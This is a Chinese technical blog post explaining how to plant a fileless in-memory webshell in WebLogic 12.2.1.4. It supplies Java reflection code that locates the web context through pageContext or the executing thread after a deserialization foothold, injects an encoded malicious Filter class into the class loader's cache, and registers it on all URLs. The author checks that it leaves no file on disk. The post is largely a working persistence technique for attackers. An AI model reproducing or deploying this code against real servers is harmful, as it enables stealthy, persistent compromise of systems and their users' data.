zoukankan      html  css  js  c++  java
  • weblogic 无文件webshell的技术研究

    上篇文章中着重研究了tomcat的内存马以及实现方法。这篇文章主要研究了weblogic的内存马实现原理。在这里实现的原理与tomcat基本相同,同样使用动态注册Filter 的方式。下面分析一下weblogic在请求中是如何获取FilterChain。

    以下分析基于 weblogic 12.2.1.4

    0x01 weblogic FilterChain实现

    创建一个Filter,随便打一个断点,观察此时的堆栈信息,如图

    通过跟踪堆栈信息,我们可以找到,在wrapRun函数中,会判断系统中是否存在filter以及listener。如果存在,则获取FilterChain,然后依次调用Filter。原理与tomcat类似。相关代码如下

    weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函数
    
    if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
        this.stub.execute(this.req, this.rsp);
    } else {
        FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
        if (fc == null) {
            this.stub.execute(this.req, this.rsp);
        } else {
            fc.doFilter(this.req, this.rsp);
        }
    }
    

    而getFilterChain的代码在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系统中的Filter,包括动态注册一个Filter,获取FilterChain等。动态注册一个Filter的代码如下

        void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
            FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
            if (this.loadFilter(fw)) {
                EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
                if (urlPatterns != null) {
                    this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
                }
    
                if (servletNames != null) {
                    this.addMappingForServletNames(filterName, types, true, servletNames);
                }
    
                this.filters.put(filterName, fw);
            }
        }
    

    0x02 内存马实现

    技术难点主要有以下几点:

    1. 怎么寻找FilterManager
    2. weblogic中类加载器机制

    1. 寻找FilterManager

    weblogic中,context会存放FilterManager。所以,这个问题转换为如何获取context。有两种方法

    pageContext

    jsp页面中的pageContext对象中,存有context对象。可以通过反射获取。这种比较适合直接上传jsp文件获取webshell权限的情况。代码如下

            Field contextF = pageContext.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(pageContext);
    
    

    线程中

    这种情况比较适合shiro,T3等反序列化漏洞,在无法上传文件,但是可以直接通过反序列化获取weblogic权限的情况。这种情况下不需要pageContext对象,在线程中查找context对象。代码如下

            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());
    
            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);
    
            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);
    
            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);
    

    2. FilterWrapper中类加载器机制

    这里只针对于加载Filter的情况去讨论。在FilterManager的registerFilter方法中,主要通过FilterWrapper类去包装Filter类。但是FilterWrapper类的构造函数中,并没有可以传递Class的参数,只可以传递ClassName,FilterManager通过ClassName去查找Class。下面我们分析一下实现过程

    在FilterManager的loadFilter中,Filter将会在这里实例化。代码如下

    
    weblogic.servlet.internal.FilterManager#loadFilter
    boolean loadFilter(FilterWrapper filterWrapper) {
            String filterClassName = filterWrapper.getFilterClassName();
            filter = (Filter)this.context.createInstance(filterClassName);
            filterWrapper.setFilter((String)null, (Class)null, filter, false);
            }
    

    在filterWrapper.getFilterClassName中获取FilterClass的名称,然后通过context的createInstance方法去实例化。下面是createInstance的代码

    Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
        Class<?> clazz = this.classLoader.loadClass(className);
        return this.createInstance(clazz);
    }
    

    在这里通过调用classloader的loadClass方法去根据名称查找Class。我们知道weblogic自定义了一个classloader,所以我们继续深入loadCLass方法,代码如下

    weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized(this.getClassLoadingLock(name)) {
            Class res = (Class)this.cachedClasses.get(name);
            if (res != null) {
                return res;
            } else if (!this.childFirst) {
                return super.loadClass(name, resolve);
    

    我们可以看出,ChangeAwareClassLoader会首先从cache中查找是否存在待查找的类,如果存在,则直接返回该名称对应的Class。

    所以我们为了使自己待动态加载的Filter可以被FilterManager成功查找,最简单的方法是在这个缓存中动手脚。代码如下

        /*
        第一步,将evilClass加载到classloader的cachedClasses中
         */
            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);
    
            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);
    
            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "bingxie") == null) {
                // 判断一下,防止多次加载恶意filter, 默认只加载一次,不需要重复加载
                BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
                String codeClass = "H4sIAAAAAAAAAKV..........";
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
    
                // 在这里 恶意类名称为 bingxie  filter 名称为test
                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, "bingxie", evilFilterClass);
    

    上面两个技术难点解决后,我们就可以向FilterManager中动态注册一个Filter。代码比较简单,如下

    Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);
    
                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);
    

    0x03 成果检验

    检查weblogic,无文件落地。重启weblogic后,webshell消失

  • 相关阅读:
    linux下shell显示-bash-4.1#不显示路径解决方法
    update chnroute
    An error "Host key verification failed" when you connect to other computer by OSX SSH
    使用dig查询dns解析
    DNS被污染后
    TunnelBroker for EdgeRouter 后记
    mdadm详细使用手册
    关于尼康黄的原因
    Panda3d code in github
    Python实例浅谈之三Python与C/C++相互调用
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13162792.html
Copyright © 2011-2022 走看看